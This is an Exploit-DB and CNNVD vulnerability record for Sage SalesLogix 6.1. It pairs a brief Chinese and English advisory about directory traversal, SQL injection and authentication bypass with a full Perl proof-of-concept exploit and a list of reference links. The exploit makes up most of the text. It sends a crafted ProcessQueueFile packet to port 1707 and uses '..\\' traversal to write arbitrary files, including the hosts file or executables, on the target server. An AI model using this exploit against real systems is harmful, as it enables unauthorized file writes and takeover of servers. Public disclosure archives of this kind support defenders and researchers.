https://www.exploit-db.com/exploits/24688
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200410-025

SalesLogix6.1版本存在目录遍历漏洞。远程攻击者可以ProcessQueueFile请求的借助..(点点)下载任意文件。

source: http://www.securityfocus.com/bid/11450/info

Best Software SalesLogix is affected by multiple vulnerabilities. These issues are due to design errors that reveal sensitive information, access control validation issues that allow unauthorized access and input validation issues facilitating SQL injection attacks.

An attacker may leverage these issues to manipulate and disclose database contents through SQL injection attacks, steal authentication credentials due to information disclosure vulnerabilities and bypass authentication to gain administrator access to the server.

#!/usr/bin/perl
#
# Proof of concept exploit: Arbitrary file creation for SLX server 6.1
#
# Written by Carl Livitt, Agenda Security Services, June 2004.
#
# This exploit abuses the ProcessQueueFile command on SLX 6.1 (others?)
servers
# to create arbitrary files on the filesystem of the SLX server. By
using
# directory traversal, it is possible to escape from the Queue directory
and
# write anywhere on the SLX server's filesystem.
#

use IO::Socket;

print "slx_uploader - Uploads arbitrary files to Sage SalesLogix
servers.n";
print "By Carl Livitt @ Agenda Security Services, June 2004nn";

if($#ARGV!=2) {
        print "Syntax: $0 host filename_to_create file_to_uploadnn";
        print "Example:n";
        print "  $0 10.0.0.100
\\winnt\\system32\\drivers\\etc\\hosts evil.txtnn";
        print "The above example would upload the local file 'evil.txt'
to the SLXn";
        print "server on 10.0.0.100, overwriting the existing hosts
file.n";
        print "It is possible to upload binary files, e.g. executables,
with this exploit.nn";

        exit(1);
} else {
        $host=$ARGV[0];
        $create_file=$ARGV[1];
        $upload_file=$ARGV[2];
}

if((stat($upload_file))[7] > 4096) {
        print "[*] Error! Files to be uploaded must be less than 4k in
size.nn";
        exit(1);
}

print "[+] Building payloadn";
$contentLen=43 + length($create_file);
$exploit="x00"x10 . chr($contentLen) . "x00"x3 .
"ProcessQueueFilex00" . "..\"x8 . "$create_file" . "x00"x6;

open(UPLOAD, '<', $upload_file) || die "Could not open local file
$upload_filen";

while(($line=<UPLOAD>)) {
        $exploit.=$line;
}

close(UPLOAD);

print "[+] Connecting to server $host:1707n";
$sock=IO::Socket::INET->new("$host:1707") || do {print "[-] Could not
connect to servern"; exit(1); };

print "[+] Sending exploit payloadn";
send($sock,$exploit,0);

print "[+] Waiting for responsen";
$sock->recv($data,1024,0);

if($data =~ /Received/) {
        print "[+] Exploit successfuln";
} else {
        print "[*] Exploit may not have worked.n";
}

$sock->shutdown(2);

来源:XF
名称:saleslogix-processqueuefile-file-upload(17765)
链接:http://xforce.iss.net/xforce/xfdb/17765
来源:BID
名称:11450
链接:http://www.securityfocus.com/bid/11450
来源:SECUNIA
名称:12883
链接:http://secunia.com/advisories/12883
来源:BUGTRAQ
名称:20041018MultiplevulnerabilitiesinSageSaleslogix
链接:http://marc.theaimsgroup.com/?l=bugtraq&m;=109811852218478&w;=2
来源:OSVDB
名称:10949
链接:http://www.osvdb.org/10949
来源:SECTRACK
名称:1011769
链接:http://securitytracker.com/id?1011769
来源:FULLDISC
名称:20041018MultiplevulnerabilitiesinSageSaleslogix
链接:http://archives.neohapsis.com/archives/fulldisclosure/2004-10/0661.html